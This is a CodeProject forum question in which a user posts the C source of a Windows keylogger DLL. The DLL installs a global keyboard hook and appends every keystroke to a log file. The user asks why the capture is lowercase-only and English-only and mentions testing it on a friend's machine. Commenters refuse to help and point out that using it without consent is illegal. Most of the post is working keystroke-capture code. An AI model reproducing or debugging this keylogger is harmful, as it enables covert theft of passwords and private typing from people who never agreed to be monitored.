Click here to Skip to main content
15,886,362 members
Please Sign up or sign in to vote.
1.00/5 (6 votes)
See more:
Hi, I finally came up with a key logger, it was tested on my friend machine, he insisted and it worked. It suppose to write in capital and small letters as well as picking up a SHIFT key, or any key, also any language. However, when I tested on my machine, it only writes in small letters and in English only, when I switch to another language it still outputs to a file with English.
Also, when I used SHIFT key it does not recognize, also CAP key and NUM key.
Here is the dll file, and of course I call it with dll caller, which is another file calling it.

#include <windows.h>
#include <stdio.h>
HINSTANCE hInstDLL = NULL;
HHOOK hHook = NULL;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode < 0)
		CallNextHookEx(hHook, nCode, wParam, lParam);
	if (!(lParam & (1 << 31)))
	{
		FILE *pFile;
		if (!_wfopen_s(&pFile, L"logfile.txt", L"a+, ccs=UTF-8"))
		{
			HWND hActive = GetActiveWindow();
			DWORD dwThreadID = GetWindowThreadProcessId(hActive, NULL);
			HKL hKL = GetKeyboardLayout(dwThreadID);
			BYTE lpKeyState[256];
			GetKeyboardState(lpKeyState);
			wchar_t sBuffer[256];
			ToUnicodeEx(wParam, MapVirtualKeyEx(wParam, MAPVK_VK_TO_VSC, hKL), lpKeyState, sBuffer, 256, 0, hKL);
			fwrite(sBuffer, sizeof(wchar_t), wcslen(sBuffer), pFile);
			fclose(pFile);
		}
	}
	return CallNextHookEx(hHook, nCode, wParam, lParam);
}
__declspec(dllexport) void SetHook(void)
{
	hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);	
}
__declspec(dllexport) void Unhook(void)
{
	UnhookWindowsHookEx(hHook);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	switch (fdwReason)
	{ 
	case DLL_PROCESS_ATTACH:
		hInstDLL = hinstDLL;
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


Anyone knows what could be wrong with the code, any correction must be made.
Thanks in advance...
Posted
Updated 28-Apr-11 11:32am
v3
Comments
Dave Kreskowiak 28-Apr-11 16:53pm    
Good luck getting help with something that is illegal to use without the users permission!
Mr Nukealizer 19-May-11 21:07pm    
^ What he said! ^
walterhevedeich 28-Apr-11 21:37pm    
Not sure if you will get any help from here.
Anshul R 3-Jun-11 7:06am    
Dave said it.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900